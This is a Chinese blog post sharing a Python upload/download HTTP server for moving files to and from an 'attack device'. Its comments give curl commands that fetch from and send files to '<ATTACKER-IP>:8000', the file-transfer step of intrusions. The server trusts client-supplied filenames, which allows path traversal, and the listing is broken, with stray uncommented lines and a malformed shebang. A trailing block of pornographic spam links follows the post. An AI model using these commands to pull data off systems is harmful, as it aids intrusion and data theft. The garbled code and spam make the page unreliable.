<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    so true

    心懷未來,開創未來!
    隨筆 - 160, 文章 - 0, 評論 - 40, 引用 - 0
    數據加載中……

    http_server supports download/upload

    #!/usr/env python3
    import http.server
    import socketserver
    import io
    import cgi

    #  Download a file from your attack device:
    #
    curl -O http://<ATTACKER-IP>:8000/<FILENAME>

    #  Upload a file back to your attack device:
    #
    curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:8000/

    #  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
    #
      parameters to the command line.
    #
    curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:8000/

    # Change this to serve on a different port
    PORT = 8000

    class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

        def do_POST(self):
            r, info = self.deal_post_data()
            print(r, info, "by: ", self.client_address)
            f = io.BytesIO()
            if r:
                f.write(b"Success\n")
            else:
                f.write(b"Failed\n")
            length = f.tell()
            f.seek(0)
            self.send_response(200)
            self.send_header("Content-type""text/plain")
            self.send_header("Content-Length", str(length))
            self.end_headers()
            if f:
                self.copyfile(f, self.wfile)
                f.close()

        def deal_post_data(self):
            ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
            pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
            pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
            if ctype == 'multipart/form-data':
                form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST''CONTENT_TYPE':self.headers['Content-Type'], })
                print (type(form))
                try:
                    if isinstance(form["file"], list):
                        for record in form["file"]:
                            open("./%s"%record.filename, "wb").write(record.file.read())
                    else:
                        open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
                except IOError:
                        return (False, "Can't create file to write, do you have permission to write?")
            return (True, "Files uploaded")

    Handler = CustomHTTPRequestHandler
    try:
        server = socketserver.TCPServer(("", PORT), Handler)
        # Activate the server; this will keep running until you
        # interrupt the program with Ctrl-C
        server.serve_forever()
    except:
        pass
    finally:
        server.close()

    posted on 2021-11-20 21:03 so true 閱讀(103) 評論(0)  編輯  收藏 所屬分類: Linux

    主站蜘蛛池模板: 免费人成视频x8x8入口| 久久精品国产亚洲综合色| 亚洲阿v天堂在线2017免费| 亚洲色爱图小说专区| 免费能直接在线观看黄的视频| 亚洲免费网站观看视频| 亚洲AV无码乱码精品国产| 久久国产乱子伦精品免费一| 亚洲天堂免费在线| 国产亚洲成人在线播放va| 5555在线播放免费播放| 黄色网址在线免费观看| 久久亚洲精品无码VA大香大香| 国产无遮挡又黄又爽免费视频| 久久精品免费观看| 亚洲精品亚洲人成在线| 亚洲AV永久精品爱情岛论坛| 日韩高清在线免费看| 日本免费一区二区三区| 在线观看亚洲视频| 亚洲欧洲春色校园另类小说| 亚洲va中文字幕无码| 曰曰鲁夜夜免费播放视频| 精品一区二区三区高清免费观看| 亚洲精品综合在线影院| 亚洲日韩v无码中文字幕| 日本黄色免费观看| 59pao成国产成视频永久免费| 日韩久久无码免费毛片软件| 亚洲一区中文字幕在线电影网| MM131亚洲国产美女久久| 最近最新的免费中文字幕| 久久免费区一区二区三波多野| 免费人成网上在线观看| 亚洲精品综合在线影院| 精品日韩亚洲AV无码一区二区三区| 亚洲日韩VA无码中文字幕| 精品久久洲久久久久护士免费| 午夜免费1000部| 91福利视频免费| 国产在线精品免费aaa片|